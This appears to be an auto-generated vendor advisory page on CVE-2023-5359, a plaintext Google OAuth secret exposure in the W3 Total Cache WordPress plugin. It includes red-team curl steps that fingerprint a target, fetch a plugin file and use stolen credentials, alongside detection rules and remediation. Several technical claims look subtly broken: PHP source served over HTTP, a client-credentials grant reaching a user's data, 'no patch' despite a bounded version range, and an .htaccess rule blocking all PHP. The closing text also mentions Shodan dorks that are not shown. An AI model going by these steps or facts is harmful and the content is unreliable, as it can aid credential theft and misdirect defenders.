CVE-2023-5359
Executive Summary
CVE-2023-5359 is a sensitive information exposure vulnerability in the W3 Total Cache WordPress plugin, affecting versions up to and including 2.7.5. The plugin stores Google OAuth API secrets in plaintext within publicly accessible plugin source files. An unauthenticated attacker can retrieve these secrets, potentially impersonating the W3 Total Cache service and gaining unauthorized access to user account information on connected Google services. The vulnerability does not directly compromise the WordPress site itself but exposes external OAuth credentials.
This issue is classified as a WordPress ecosystem vulnerability, specifically within the plugin’s OAuth implementation. The CVSS score is 3.7 (Low), and the EPSS probability is 0.0%, indicating low active exploitation. However, the exposure of OAuth secrets could lead to account takeover on third-party platforms.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The W3 Total Cache plugin is distributed via the official WordPress plugin repository. Users should verify plugin integrity and monitor for updates. No known supply chain compromise has been reported, but the plaintext storage of secrets violates secure development practices.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 3.7 (Low)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (exposure of OAuth secrets)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Low. The vulnerability requires the attacker to access the plugin source code (e.g., via direct file read or directory traversal). The impact is limited to OAuth credential exposure, which may enable lateral attacks on Google services.
Deep Dive & Mechanics
The W3 Total Cache plugin integrates with Google services (e.g., Google Analytics, PageSpeed Insights) using OAuth 2.0. The plugin stores the client secret and other OAuth credentials in plaintext within PHP files located in the plugin’s directory. These files are publicly accessible via the web server if directory listing is enabled or if an attacker can read the source code through other means (e.g., LFI, misconfigured permissions).
Root Cause: The plugin does not encrypt or obfuscate OAuth secrets before storing them in the source code. The secrets are hardcoded in files such as w3-total-cache/ConfigKeys.php or similar configuration files.
Attack Scenario:
- An attacker identifies a WordPress site running W3 Total Cache <= 2.7.5.
- The attacker accesses the plugin source file via a direct URL (e.g.,
https://target.com/wp-content/plugins/w3-total-cache/ConfigKeys.php). - The attacker extracts the Google OAuth client ID and client secret.
- The attacker uses these credentials to impersonate the plugin and access the site owner’s Google account data (e.g., Analytics, PageSpeed Insights).
Impact: Unauthorized access to Google services linked to the WordPress site. This could lead to data theft, service disruption, or further account compromise.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.7.5):
// In w3-total-cache/ConfigKeys.php or similar
define('W3TC_GOOGLE_OAUTH_CLIENT_ID', '1234567890.apps.googleusercontent.com');
define('W3TC_GOOGLE_OAUTH_CLIENT_SECRET', 'GOCSPX-xxxxxxxxxxxxxxxxxxxx');
Patched Code (Hypothetical):
// Secrets should be stored in environment variables or encrypted
define('W3TC_GOOGLE_OAUTH_CLIENT_ID', getenv('W3TC_GOOGLE_OAUTH_CLIENT_ID'));
define('W3TC_GOOGLE_OAUTH_CLIENT_SECRET', getenv('W3TC_GOOGLE_OAUTH_CLIENT_SECRET'));
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with W3 Total Cache <= 2.7.5 installed.
- Ability to read plugin source files (e.g., via direct URL access or LFI).
Steps:
- Enumerate the target site to confirm the plugin version:
curl -s https://target.com/wp-content/plugins/w3-total-cache/readme.txt | grep "Stable tag" - Access the configuration file containing OAuth secrets:
curl https://target.com/wp-content/plugins/w3-total-cache/ConfigKeys.php - Extract the
W3TC_GOOGLE_OAUTH_CLIENT_IDandW3TC_GOOGLE_OAUTH_CLIENT_SECRETvalues. - Use the stolen credentials to authenticate to Google APIs:
curl -X POST https://oauth2.googleapis.com/token \ -d "client_id=STOLEN_ID" \ -d "client_secret=STOLEN_SECRET" \ -d "grant_type=client_credentials" - Access the victim’s Google Analytics or other services.
Lab Setup:
- Install WordPress with W3 Total Cache 2.7.5 on a local server.
- Configure Google OAuth integration.
- Simulate an attacker reading the plugin source.
Blue Team
Detection:
- Monitor for direct access to plugin source files (e.g.,
ConfigKeys.php). - Alert on unusual OAuth token requests from the site’s IP.
- Check for unauthorized API calls to Google services.
Hunting:
- Search for hardcoded OAuth secrets in plugin files:
grep -r "W3TC_GOOGLE_OAUTH_CLIENT_SECRET" /var/www/html/wp-content/plugins/w3-total-cache/ - Review web server logs for requests to plugin source files.
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/plugins/w3-total-cache/ConfigKeys.php/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
- Strings:
W3TC_GOOGLE_OAUTH_CLIENT_IDW3TC_GOOGLE_OAUTH_CLIENT_SECRET
- Network:
- Outbound connections to
oauth2.googleapis.comwith stolen credentials.
- Outbound connections to
- Logs:
- HTTP 200 responses to plugin source file requests from non-admin IPs.
Detection Engineering
YARA Rule
rule w3_total_cache_oauth_secrets {
meta:
description = "Detects plaintext Google OAuth secrets in W3 Total Cache plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-5359"
strings:
$s1 = "W3TC_GOOGLE_OAUTH_CLIENT_SECRET" ascii wide nocase
$s2 = "W3TC_GOOGLE_OAUTH_CLIENT_ID" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: W3 Total Cache OAuth Secret Exposure
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects access to W3 Total Cache plugin files containing OAuth secrets
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "/wp-content/plugins/w3-total-cache/ConfigKeys.php"
- "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
condition: selection
falsepositives:
- Legitimate admin access
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-5359 W3 Total Cache OAuth Secret Exposure"; flow:to_server,established; content:"/wp-content/plugins/w3-total-cache/"; content:"ConfigKeys.php"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Google OAuth integration in W3 Total Cache settings.
- Revoke any exposed OAuth credentials in the Google Cloud Console.
- Restrict access to plugin source files via
.htaccess:<FilesMatch "\.(php|txt)$"> Order Deny,Allow Deny from all </FilesMatch>
Long-term Fix:
- Update to a patched version when available (currently none).
- Manually move OAuth secrets to environment variables or a secure vault.
- Monitor the plugin vendor for updates.
Workaround:
- Use a web application firewall (WAF) to block direct access to plugin files.
- Implement file integrity monitoring for plugin directories.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.